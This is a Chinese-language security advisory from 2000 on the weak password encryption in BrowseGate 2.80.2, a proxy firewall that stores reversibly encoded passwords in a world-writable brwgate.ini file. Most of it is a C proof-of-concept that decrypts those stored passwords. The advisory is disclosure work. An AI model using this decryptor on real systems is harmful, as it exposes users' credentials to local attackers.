BrowseGate 弱口令加密机制缺陷
发布日期:2000-11-20
更新日期:2000-11-20
受影响系统:
BrowseGate by NetCPlus 2.80.2 (others?)
- Windows NT/2000/9x
描述:
BrowseGate是NetCPlus提供的一种代理防火墙软件,很多时候它与SS3等网络应用程
序一起集成安装,缺省安装在C:\Program Files\BrowseGate\,配置文件brwgate.ini
位于其中。默认所有本机授权用户均可读写这个配置文件,加密后的口令保存在
'scrnsze'条目中,比如:
scrnsze=Ic6li9m\
这里的口令加密机制太简单了,可以轻易解密得到口令明文,具体参看测试程序。
<* 来源:Steven Alexander (
steve@cell2000.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
--------------------------------------------------------------------------
/* This is proof of concept code for decrypting password from BrowseGate by NetCplus */
#include <stdio.h>
int main() {
unsigned char start[8] = { 0x27, 0x41, 0x72, 0x4a, 0x47, 0x75, 0x4b, 0x3a };
unsigned char hash[8] = { '%', '}', 'S', 'p', '%', 'g', 'Z', '(' } ;
/* Enter the encrypted password into hash above */
unsigned char except[8] = { '~', ':', 'k', 'C', '@', 'n', 'D', '3' };
unsigned char ex_order[7] = { 't', 'm', 'O', 'L', 's', 'B', 'R' };
unsigned char pass[8];
unsigned char i;
unsigned char range;
if(hash[0] >= '!' && hash[0] <= '&')
hash[0]=(hash[0] - 0x20) + 0x7e;
for(i=0;i<8;i++) {
if(hash[i] >= except[i] && hash[i] <= (except[i] + 6) ) {
pass[i]=ex_order[ (hash[i] - except[i]) ]; }
else {
if(hash[i] < start[i]) {
hash[i]+=0x5e;
}
pass[i]=hash[i] - start[i] + '!';
if(pass[i] >= 'B')
pass[i]+=1;
if(pass[i] >= 'L')
pass[i]+=1;
if(pass[i] >= 'O')
pass[i]+=1;
if(pass[i] >= 'R')
pass[i]+=1;
if(pass[i] >= 'm')
pass[i]+=1;
if(pass[i] >= 's')
pass[i]+=1;
if(pass[i] >= 't')
pass[i]+=1;
}
}
printf("The password is:\n\t");
for(i=0;i<8;i++) {
printf("%c ", pass[i]);
}
printf("\n");
return 0;
}
--------------------------------------------------------------------------
建议:
暂无
浏览次数:5644
严重程度:0(网友投票)